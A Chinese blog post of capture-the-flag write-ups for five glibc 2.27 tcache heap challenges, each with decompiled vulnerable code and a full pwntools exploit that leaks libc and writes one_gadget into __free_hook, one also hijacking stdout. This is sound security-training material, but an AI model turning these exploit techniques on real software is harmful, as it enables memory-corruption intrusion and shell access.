本文最后更新于:星期二, 四月 9日 2019, 1:40 下午

最近在刷题,这里做几道跟tcache机制相关的题目。

下载地址

LCTF2018 easy_heap

防护机制:

☁  easy_heap  checksec easy_heap 
[*] '/home/zs0zrc/pwn/tcache/easy_heap/easy_heap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

程序很简单,一共有三个功能

1.malloc
2.free
3.put

漏洞在malloc功能里

unsigned __int64 create()
{
  __int64 v0; // rbx
  __int64 v2; // [rsp+0h] [rbp-20h]
  int v3; // [rsp+0h] [rbp-20h]
  unsigned int size; // [rsp+4h] [rbp-1Ch]
  unsigned __int64 v5; // [rsp+8h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  LODWORD(v2) = 0;
  while ( v2 <= 9 && *(0x10LL * v2 + buf) )
    LODWORD(v2) = v2 + 1;
  if ( v2 == 10 )
  {
    puts("full!");
  }
  else
  {
    v0 = buf;
    *(v0 + 16LL * v2) = malloc(0xF8uLL);
    if ( !*(16LL * v2 + buf) )
    {
      puts("malloc error!");
      exits();
    }
    printf("size \n> ", v2);
    size = read_int();
    if ( size > 0xF8 )
      exits();
    *(16LL * v3 + buf + 8) = size;
    printf("content \n> ");
    read_content(*(16LL * v3 + buf), *(16LL * v3 + buf + 8));
  }
  return __readfsqword(0x28u) ^ v5;
}

这里在读content时有一个null offbyone漏洞

unsigned __int64 __fastcall read_content(_BYTE *buf, int size)
{
  unsigned int v3; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v3 = 0;
  if ( size )
  {
    while ( 1 )
    {
      read(0, &buf[v3], 1uLL);
      if ( size - 1 < v3 || !buf[v3] || buf[v3] == 10 )
        break;
      ++v3;
    }
    buf[v3] = 0;                                // null offbyone
    buf[size] = 0;
  }
  else
  {
    *buf = 0;
  }
  return __readfsqword(0x28u) ^ v4;
}

利用思路:

程序存在null offbyone漏洞,libc版本是2.27,存在tcache机制。所以先free7个chunk将tcache填满,之后的chunk就会进入unsorted bin中。然后利用null offbyone在free时触发unlink向前合并,就可以泄露出libc地址。最后利用tcache_dup,分配包含_free_hook的chunk,向__free_hook中写入one_gadget来getshell。

exp:

from pwn import*

context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']

target = './easy_heap'
p = process(target)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def new(size,data):
    p.recv()
    p.sendline("1")
    p.recvuntil("> ")
    p.sendline(str(size))
    p.recvuntil("> ")
    p.sendline(data)

def free(idx):
    p.recv()
    p.sendline("2")
    p.recvuntil("> ")
    p.sendline(str(idx))

def put(idx):
    p.recv()
    p.sendline("3")
    p.recvuntil("> ")
    p.sendline(str(idx))


for i in range(10):
    new(0x20,"\n")


free(1) # 6
free(3) # 5
for i in range(5,10):
    free(i)

free(0)
free(2)
free(4)

for i in range(7):
    new(0x20,"\n")

new(0x20,"\n") #chunk_7
new(0xf8,"\n") #chunk_8 null offbyone chunk_5

for i in range(5):
    free(i)

free(6) #fill tcache
free(5) #unlink , put into unsorted bin

put(8)
leak = u64(p.recv(8)[0:6].ljust(8,'\x00'))
libc_base = leak - libc.symbols['__malloc_hook'] - 0x10 - 88
libc.address= libc_base

free_hook = libc.symbols['__free_hook']
one_gadget = 0xfccde + libc_base
log.info("libc_base {}".format(hex(libc_base)))

for i in range(7):
    new(0x20,"\n")

new(0x20,"\n") #chunk_9 和 chunk_8 指向同一个地址

free(0)     #确保后面可以分配三个chunk
free(8)        
free(9)        #double  free

new(0x20,p64(free_hook))
new(0x20,"\n")
new(0x20,p64(one_gadget))

free(1)
p.interactive()

hitcon2018 children_tcache

防护机制:

☁  public  checksec children_tcache 
[*] '/home/zs0zrc/pwn/tcache/children_tcache/public/children_tcache'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

程序漏洞点在new heap功能里

unsigned __int64 create()
{
  signed int i; // [rsp+Ch] [rbp-2034h]
  char *dest; // [rsp+10h] [rbp-2030h]
  unsigned __int64 size; // [rsp+18h] [rbp-2028h]
  char s; // [rsp+20h] [rbp-2020h]
  unsigned __int64 v5; // [rsp+2038h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  memset(&s, 0, 0x2010uLL);
  for ( i = 0; ; ++i )
  {
    if ( i > 9 )
    {
      puts(":(");
      return __readfsqword(0x28u) ^ v5;
    }
    if ( !chunk_add[i] )
      break;
  }
  printf("Size:");
  size = read_int();
  if ( size > 0x2000 )
    exit(-2);
  dest = malloc(size);
  if ( !dest )
    exit(-1);
  printf("Data:");
  read_data(&s, size);
  strcpy(dest, &s);                             // null offbyone
  chunk_add[i] = dest;
  chunk_size[i] = size;
  return __readfsqword(0x28u) ^ v5;
}

这里存在一个null offbyOne 漏洞。原因是strcpy复制字符串时会将null字节一起复制。这里malloc可以分配大小在0x2000以下的chunk,最多分配十个。这一题比较简单。

利用思路:

因为可以控制分配的chunk的大小,所以可以分配大小超过0x400的chunk,这超出了tcache的范围,所以不会被放入tcache中。构造好堆的布局,两个大小大于0x400的chunk中间要夹着一个在tcache范围的chunk。假设这三个chunk分别为chunk1、2、3。先free掉chunk1,然后通过chunk2利用null offbyOne 将chunk3的prev_size和prev_inuse清空。然后将chunk3的prev_size字段设为 chunk1+chunk2的size的和,free掉chunk3。就会触发unlink向前合并,合并后的chunk会加入unsorted bin中,这时分配一个大小为chunk1的chunk,则会从合并的chunk中分割出来,并且向chunk2中写如unsorted bin的地址,通过chunk2就可以泄露出libc地址。最后利用tcache_dup 往__free_hook里写入one_gadget来getshell。具体的看代码。

exp:

from pwn import*

context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']

p = process('./children_tcache')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def new(size,content):
    p.recv()
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(content)

def free(idx):
    p.recv()
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(idx))

def put(idx):
    p.recv()
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(idx))

new(0x410,"a")
new(0x28,"a"*0x28)
new(0x5f0,"a")
new(0x20,"a") #gap top chunk

free(0)
free(1)

#clear chunk_2 prev_size and prev_inuse
for i in range(9):
    new(0x28-i,"a"*(0x28-i))
    free(0)

new(0x28,"a"*0x20 + p64(0x420+0x30)) #0
free(2) #trigger unlink
new(0x410,"a") #1 malloc(0x410) then unsorted add will write in 0
put(0)  

leak = u64(p.recv(8)[:6].ljust(8,'\x00')) 
libc_base = leak - libc.symbols['__malloc_hook'] - 0x10 - 88
libc.address = libc_base
free_hook = libc.symbols['__free_hook']
one_gadget = 0xfccde + libc_base
log.info("libc_base {}".format(hex(libc_base)))

new(0x28,"\n") #2
free(0)
free(2)

new(0x28,p64(free_hook))
new(0x28,"\n")
new(0x28,p64(one_gadget))

free(1)
p.interactive()

hitbxctf2018 gundam

防护机制:

☁  gumdam  checksec gundam 
[*] '/home/zs0zrc/pwn/tcache/gumdam/gundam'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

这一道题比前面两道都要简单一点,程序主要功能有4个

1.build_gundam
2.visit
3.destory
4.blow up the factory

漏洞出现在destory功能中,它将chunk释放后没有将相应的指针清空,导致了UAF。

__int64 destory()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( count )
  {
    printf("Which gundam do you want to Destory:");
    __isoc99_scanf("%d", &v1);
    if ( v1 > 8 || !array[v1] )
    {
      puts("Invalid choice");
      return 0LL;
    }
    *array[v1] = 0;                             // UAF
    free(*(array[v1] + 8LL));
  }
  else
  {
    puts("No gundam");
  }
  return 0LL;
}

利用思路:

先利用visit功能泄露出libc地址。泄露地址前要先将tcache填满,不然chunk不会进入unsorted bin中。泄露出libc地址后可以用tcache_dup,往_free_hook中写入one_gadget。具体的细节看exp。

exp:

from pwn import*

context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']

target = './gundam'
p = process(target)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def build(name,type):
    p.recv()
    p.sendline("1")
    p.recv()
    p.send(name)
    p.recv()
    p.sendline(str(type))    

def visit():
    p.recvuntil("Your choice : ")
    p.sendline("2")

def destory(idx):
    p.recv()
    p.sendline("3")
    p.recv()
    p.sendline(str(idx))

def blow_up():
    p.recvuntil("Your choice : ")
    p.sendline("4")


for i in range(9):
    build("aaaa",1)

for i in range(2,9):
    destory(i)

destory(0)    #unsorted
destory(1)
blow_up()

for i in range(7):
    build("aaaa",1)

build("bbbbbbbb",1) #7
build("aaaaaaaa",1) #8

visit()
p.recvuntil("bbbbbbbb")
leak = u64(p.recv(8)[:6].ljust(8,'\x00'))
log.info("leak ==>{}".format(hex(leak)))
libc_base = leak - 0x3dac78
libc.address = libc_base
free_hook = libc.symbols['__free_hook']
one_gadget = 0xfccde + libc_base

log.info("libc_base ==> {}".format(hex(libc_base)))

destory(6)  #为了后面tcache_dup可以分配三个chunk,所以要释放掉两个chunk
destory(5)
destory(7)
destory(7)  #double free

blow_up()
build(p64(free_hook),1) #tcache_dup
build("aaaa",1)
build(p64(one_gadget),1)

destory(0)
p.interactive()

CodegateCTF2019 god-the-reum

防护机制:

☁  god-the-reum  checksec god-the-reum 
[*] '/home/zs0zrc/pwn/tcache/god-the-reum/god-the-reum'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

简单的逆了下,主要看main、create、withdraw还有那个developer的功能

main:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // ST18_4
  int v4; // ST18_4
  int v6; // ST18_4
  char array[88]; // [rsp+20h] [rbp-60h]
  unsigned __int64 v8; // [rsp+78h] [rbp-8h]
  __int64 savedregs; // [rsp+80h] [rbp+0h]

  v8 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    menu();
    while ( getchar() != 10 )
      ;
    switch ( &savedregs )
    {
      case 1u:
        create(&array[16 * count]);
        break;
      case 2u:
        v3 = get_idx();
        deposit(&array[16 * v3]);
        break;
      case 3u:
        v4 = get_idx();
        withdraw(&array[16 * v4]);
        break;
      case 4u:
        show(array, 0LL);
        break;
      case 5u:
        puts("bye da.");
        return 0LL;
      case 6u:
        v6 = get_idx();
        sub_1092(&array[16 * v6]);
        break;
      default:
        sub_11B3();
        break;
    }
  }
}

它用一个char数组来存储分配的wallet。每个wallet包含一个随机生成的add 和 一个用来存储eth的chunk。

create函数:

unsigned __int64 __fastcall create(void **a1)
{
  char *v1; // rax
  unsigned int v2; // eax
  char v4; // [rsp+13h] [rbp-1Dh]
  char v5; // [rsp+13h] [rbp-1Dh]
  signed int i; // [rsp+14h] [rbp-1Ch]
  size_t size; // [rsp+18h] [rbp-18h]
  void *s; // [rsp+20h] [rbp-10h]
  unsigned __int64 v9; // [rsp+28h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  s = malloc(0x82uLL);        //用于存储随机生生成的addr
  if ( !s || count > 4 )    //最多分配4个wallet
  {
    puts("wallet creation failed");
    exit(0);
  }
  memset(s, 0, 0x82uLL);
  v1 = s + strlen(s);
  *v1 = 30768;
  v1[2] = 0;
  v2 = time(0LL);
  srand(v2);
  for ( i = 0; i <= 39; ++i )        //利用rand随机生成addr
  {
    v4 = rand() % 15;
    if ( v4 > 9 )
      v5 = rand() % 6 + 97;
    else
      v5 = v4 + 48;
    *(s + i + 2) = v5;
  }
  *a1 = s;
  printf("how much initial eth? : ", 0LL);
  __isoc99_scanf("%llu", &size);
  a1[1] = malloc(size);        //存储eth的chunk大小没有限制
  if ( a1[1] )
    *a1[1] = size;
  ++count;
  sub_119B();
  puts("Creating new wallet succcess !\n");
  sub_FD5(*a1, a1[1]);
  putchar(10);
  return __readfsqword(0x28u) ^ v9;
}

withdraw功能:

unsigned __int64 __fastcall withdraw(__int64 a1)
{
  __int64 v2; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("how much you wanna withdraw? : ");
  __isoc99_scanf("%llu", &v2);
  **(a1 + 8) -= v2;        //将wallet的eth减少
  if ( !**(a1 + 8) )    //如果wallet的eth为0,就将它的chunk释放掉
    free(*(a1 + 8));   // 这里存在UAF,因为它没检查chunk是否释放过了
  puts("withdraw ok !\n");
  return __readfsqword(0x28u) ^ v3;
}

developer功能:

__int64 __fastcall developer(__int64 a1)
{
  sub_119B();
  puts("this menu is only for developer");
  puts("if you are not developer, please get out");
  sleep(1u);
  printf("new eth : ");
  return __isoc99_scanf("%10s", *(a1 + 8));     // 修改wallet的eth,可以通过这个来修改被释放的wallet的fd指针
}

利用思路:

先分配一个大于tcache范围的wallet,利用它来泄露出libc地址。然后利用tcache_dup修改_free_hook 为one_gadget。这里的tcache_dup可以利用developer功能,直接修改tcache_chunk的fd指针。

exp:

from pwn import*

context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']

target = './god-the-reum'
p = process(target)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def create(eth):
    p.recv()
    p.sendline("1")
    p.recv()
    p.sendline(str(eth))

def deposit(idx,eth):
    p.recv()
    p.sendline("2")
    p.recv()
    p.sendline(str(idx))
    #p.recv()
    p.sendline(str(eth))

def withdraw(idx,eth):
    p.recv()
    p.sendline("3")
    p.recv()
    p.sendline(str(idx))
    p.recv()
    p.sendline(str(eth))

def show():
    p.recv()
    p.sendline("4")

def cheth(idx,eth):
    p.recv()
    p.sendline("6")
    p.recv()
    p.sendline(str(idx))
    p.recv()
    p.sendline(str(eth))


create(0x500)#0
create(0x80)#1

withdraw(0,0x500)#free 0
show()
p.recvuntil("ballance")
leak = int(p.recv(16),10)
libc_base = leak - libc.symbols['__malloc_hook'] - 0x10 - 88
libc.address = libc_base
free_hook = libc.symbols['__free_hook']
one_gadget = 0xfccde + libc_base

log.info("libc_base ==> {}".format(hex(libc_base)))
log.info("free_hook ==> {}".format(hex(free_hook)))

withdraw(1,0x80)
cheth(1,p64(free_hook)) #change fd

create(0x80)#2 free_hook

p.recv()
p.sendline("6")
p.recv()
p.sendline("2")
p.recv()
p.sendline(p64(one_gadget)) #write free_hook

create(0x80)#3
withdraw(3,0x80)

p.interactive()

hitcon2018 baby_tcache

防护机制:

☁  baby_tcache  checksec baby_tcache 
[*] '/home/zs0zrc/pwn/tcache/baby_tcache/baby_tcache'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

漏洞点:

int    create()
{
  _QWORD *v0; // rax
  signed int i; // [rsp+Ch] [rbp-14h]
  _BYTE *v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 size; // [rsp+18h] [rbp-8h]

  for ( i = 0; ; ++i )
  {
    if ( i > 9 )
    {
      LODWORD(v0) = puts(":(");
      return (signed int)v0;
    }
    if ( !chunk_add[i] )
      break;
  }
  printf("Size:");
  size = sub_B27();
  if ( size > 0x2000 )
    exit(-2);
  v3 = malloc(size);
  if ( !v3 )
    exit(-1);
  printf("Data:");
  sub_B88((__int64)v3, size);
  v3[size] = 0;                                 // nulL offbyOne
  chunk_add[i] = v3;
  v0 = chunk_size;
  chunk_size[i] = size;
  return (signed int)v0;
}

这道题的漏洞点和children_tcache一样,具体的做法和children_tcache差不多,都是通过null offbyOne漏洞 构造overlapping chunk。但是这题少了输出功能,所以要想办法泄露libc。这里泄露libc的涉及到了IO_FILE的利用,通过修改 puts函数工作过程中stdout 结构体中的 _IO_write_base ,来达到泄露libc地址信息的目的。

简单的分析下puts函数的函数调用链

puts函数在源码中是由 _IO_puts实现的,而 _IO_puts 函数内部会调用 _IO_sputn,结果会执行 _IO_new_file_xsputn,最终会执行 _IO_overflow

_IO_puts源码:

int
_IO_puts (const char *str)
{
  int result = EOF;
  _IO_size_t len = strlen (str);
  _IO_acquire_lock (_IO_stdout);

  if ((_IO_vtable_offset (_IO_stdout) != 0
       || _IO_fwide (_IO_stdout, -1) == -1)
      && _IO_sputn (_IO_stdout, str, len) == len
      && _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
    result = MIN (INT_MAX, len + 1);

  _IO_release_lock (_IO_stdout);
  return result;
}

_IO_new_file_overflow

int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    ......
    ......
    }
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
             f->_IO_write_ptr - f->_IO_write_base); //目标
  if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
    if (_IO_do_flush (f) == EOF)
      return EOF;
  *f->_IO_write_ptr++ = ch;
  if ((f->_flags & _IO_UNBUFFERED)
      || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
    if (_IO_do_write (f, f->_IO_write_base,
              f->_IO_write_ptr - f->_IO_write_base) == EOF)
      return EOF;
  return (unsigned char) ch;
}

可以发现_IO_do_write是最后调用的函数, 而 _IO_write_base 是我们要修改的目标。这里f-> _flags & _IO_NO_WRITES的值应该是0,同时使 f-> _flags & _IO_CURRENTLY_PUTTING 的值为1,避免执行不必要的代码。

_IO_do_write函数的参数为stdout结构体、 _IO_write_base 和要打印的size。而 _IO_do_write实际会调用 new_do_write,参数一样。

static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  _IO_size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      _IO_off64_t new_pos
    = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
    return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);    //最终输出
  if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
  fp->_IO_write_end = (fp->_mode <= 0
               && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
               ? fp->_IO_buf_base : fp->_IO_buf_end);
  return count;
}

其中_IO_SYSWRITE 就是我们的目标,这相当于 write(fp , data, to_do)。 _IO_SYSSEEK只是简单的调用lseek,但是我们不能完全控制fp-> _IO_write_base - fp-> _IO_read_end 的值。如果 fp-> _IO_read_end的值设为0,那么 _IO_SYSSEEK的第二个参数的值就会过大。如果设置fp-> _IO_write_base = fp-> _IO_read_end 的话,那么在其他地方就会有问题,因为fp-> _IO_write_base 不能大于fp-> _IO_write_end 。所以这里要 设置fp- _flags | _IO_IS_APPENDING,避免进入else if分支中。

IO_FILE 的flags标志的一些宏

#define _IO_MAGIC         0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK    0xFFFF0000
#define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED        0x0002
#define _IO_NO_READS          0x0004 /* Reading not allowed.  */
#define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */
#define _IO_EOF_SEEN          0x0010
#define _IO_ERR_SEEN          0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close.  */
#define _IO_LINKED            0x0080 /* In the list of all open files.  */
#define _IO_IN_BACKUP         0x0100
#define _IO_LINE_BUF          0x0200
#define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING      0x1000
#define _IO_IS_FILEBUF        0x2000
                           /* 0x4000  No longer used, reserved for compat.  */
#define _IO_USER_LOCK         0x8000

_flags=_IO_MAGIC+_IO_CURRENTLY_PUTTING+_IO_IS_APPENDING+(_IO_LINKED)

_flags=0xfbad1800 or 0xfbad1880 或者再加一些其他不影响leak的_flags

_flag的构造满足的条件:

_flags = 0xfbad0000  
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800

IO_FILE的部分就差不多这么多了,下面要解决怎么劫持stdout的问题。

劫持stdout利用的是null offbyOne构造overlapping chunk,往tcache中的chunk写入 main_arena + 88。然后利用double free,partial overwrite fd指针的后两位,使tcache中chunk的fd指针指向stdout。最后分配到包含stdout的chunk,就可以修改stdout结构体了。这个partial overwrite需要爆破,日常非洲人,爆破到怀疑人生。通过stdout结构体泄露出libc地址后就是常规做法了,利用tcache_dup 往__free_hook 中写入one_gadget来getshell。

exp:

from pwn import*
#context.log_level = "debug"
context.terminal =["tmux","splitw","-h"]
#p = process('./baby_tcache')


def new(content,size):
    p.recvuntil("Your choice: ")
    p.sendline('1')
    p.recvuntil("Size:")
    p.sendline(str(size))
    p.recvuntil("Data:")
    p.send(content)

def delete(idx):
    p.recvuntil("Your choice: ")
    p.sendline('2')
    p.recv()
    p.sendline(str(idx))

def exp():
    new("aaaa",0x410)#0
    new("cccc",0x70)#1
    new("dddd",0x5f0)#2
    new("eeee",0x30)#3

    delete(0)
    delete(1)

    new("a"*0x70 + p64(0x420+0x80),0x78) #0

    delete(2)# trigger 
    delete(0)

    new("aaaa",0x410)#0

    new('\x20\xb7',0x88)#1 change tcache->fd to stdout
    new('a',0x78)#2

    fake_file = p64(0xfbad1800) + p64(0)*3 + "\x00"
    new(fake_file,0x78)#4

    data = p.recv(0x20)
    leak = u64(data[0x18:]) #0x7f0000000000

    if leak&0x7f0000000000==0x7f0000000000: #判断是否成功修改stdout,泄露出地址
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        log.info("leak_add ==> {}".format(hex(leak)))
        libc_base = leak - libc.symbols['_IO_file_jumps']
        libc.address = libc_base
        free_hook = libc.symbols['__free_hook']
        one_gadget = 0xfccde + libc_base
        log.info("libc_base ==> {}".format(hex(libc_base)))
        delete(1)
        delete(2)   #tcache_dup
        new(p64(free_hook),0x88)
        new('\n',0x88)
        new(p64(one_gadget),0x88)
        delete(3)
        p.interactive()
    else:
        p.close()

if __name__ == '__main__':
    while True:
        try:
            p = process('./baby_tcache')
            exp()
        except Exception as e:
            p.close()
            continue

Heap_Exploitation      pwn tcache

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!